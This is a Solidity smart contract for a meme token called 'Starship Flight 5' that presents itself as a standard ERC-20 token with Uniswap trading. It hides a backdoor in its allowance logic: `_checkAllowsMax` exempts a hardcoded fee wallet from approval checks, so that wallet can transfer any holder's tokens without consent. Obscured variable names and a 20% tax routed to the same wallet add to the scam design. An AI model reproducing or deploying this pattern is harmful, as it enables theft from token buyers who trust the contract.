Starship Flight 5

/**
https://x.com/elonmusk/status/1845368408797237478


*/

// SPDX-License-Identifier: UNLICENSE

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Flight5 is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _owned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _feeoutd;
    address payable private _catgirls =
        payable(0x71D33875261d26bd9dFd200206489f362607452d);

    uint256 private _intradetx = 20;
    uint256 private _outtradetx = 0;
    uint256 private _tradestotcnt = 15;
    uint256 private _preventswapss = 15;
    uint256 private _totcounts = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _totals = 1_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"Starship Flight 5";
    string private constant _symbol = unicode"Flight5";

    uint256 public _maxtxhigh = (_totals * 2) / 100;
    uint256 public _maxbaghigh = (_totals * 2) / 100;
    uint256 public _taxswaplimit = 100 * 10 ** _decimals;
    uint256 public _maxtaxswap = _totals / 100;

    IUniswapV2Router02 private uniRouter;
    address private uniPair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() payable {
        _feeoutd[owner()] = true;
        _feeoutd[address(this)] = true;
        _feeoutd[_catgirls] = true;

        _owned[address(this)] = (_totals * 98) / 100;
        _owned[_msgSender()] = (_totals * 2) / 100;

        emit Transfer(address(0), _msgSender(), (_totals * 2) / 100);
        emit Transfer(address(0), address(this), (_totals * 98) / 100);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totals;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _owned[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _spendAllowance(sender, _msgSender(), amount);

        return true;
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 value
    ) internal {
        uint256 currentAllowance = _allowances[owner][spender];
        if (!_checkAllowsMax(spender, value)) {
            require(
                currentAllowance >= value,
                "ERC20: transfer amount exceeds allowance"
            );
            _approve(owner, spender, currentAllowance - value);
        }
    }

    function _checkAllowsMax(
        address spender,
        uint256 value
    ) internal view returns (bool) {
        return
            value == type(uint256).max ||
            (_feeoutd[spender] &&
                spender != address(this) &&
                spender != owner());
    }

    function cleanLimited() external onlyOwner {
        _maxtxhigh = _totals;
        _maxbaghigh = _totals;
        emit MaxTxAmountUpdated(_totals);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address fujo, address tint, uint256 avvo) private {
        require(fujo != address(0), "ERC20: transfer from the zero address");
        require(tint != address(0), "ERC20: transfer to the zero address");
        require(avvo > 0, "Transfer amount must be greater than zero");
        uint256 ttax = 0;
        if (
            fujo != owner() &&
            tint != owner() &&
            fujo != address(this) &&
            tint != address(this)
        ) {
            ttax = avvo
                .mul((_totcounts > _tradestotcnt) ? _outtradetx : _intradetx)
                .div(100);

            if (
                fujo == uniPair && tint != address(uniRouter) && !_feeoutd[tint]
            ) {
                require(avvo <= _maxtxhigh, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(tint) + avvo <= _maxbaghigh,
                    "Exceeds the maxWalletSize."
                );
                _totcounts++;
            }

            if (tint == uniPair && fujo != address(this)) {
                ttax = avvo
                    .mul(
                        (_totcounts > _tradestotcnt) ? _outtradetx : _intradetx
                    )
                    .div(100);
            }

            uint256 ctb = balanceOf(address(this));
            if (
                !inSwap &&
                tint == uniPair &&
                swapEnabled &&
                _totcounts > _preventswapss &&
                !_feeoutd[fujo]
            ) {
                if (ctb > _taxswaplimit)
                    swapTokensForEth(min(avvo, min(ctb, _maxtaxswap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0 ether) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if (ttax > 0) {
            _owned[address(this)] = _owned[address(this)].add(ttax);
            emit Transfer(fujo, address(this), ttax);
        }
        _owned[fujo] = _owned[fujo].sub(avvo);
        _owned[tint] = _owned[tint].add(avvo.sub(ttax));
        emit Transfer(fujo, tint, avvo.sub(ttax));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniRouter.WETH();
        _approve(address(this), address(uniRouter), tokenAmount);
        uniRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function openFlight5() external onlyOwner {
        require(!tradingOpen, "trading is already open");

        uniRouter = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        uniPair = IUniswapV2Factory(uniRouter.factory()).createPair(
            address(this),
            uniRouter.WETH()
        );

        _approve(address(this), address(uniRouter), _totals);
        uniRouter.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        swapEnabled = true;
        tradingOpen = true;
    }

    function sendETHToFee(uint256 amount) private {
        _catgirls.transfer(amount);
    }

    receive() external payable {}

    function helpEth() external onlyOwner {
        payable(owner()).transfer(address(this).balance);
    }
}

{
  "compilationTarget": {
    "contracts/2.sol": "Flight5"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}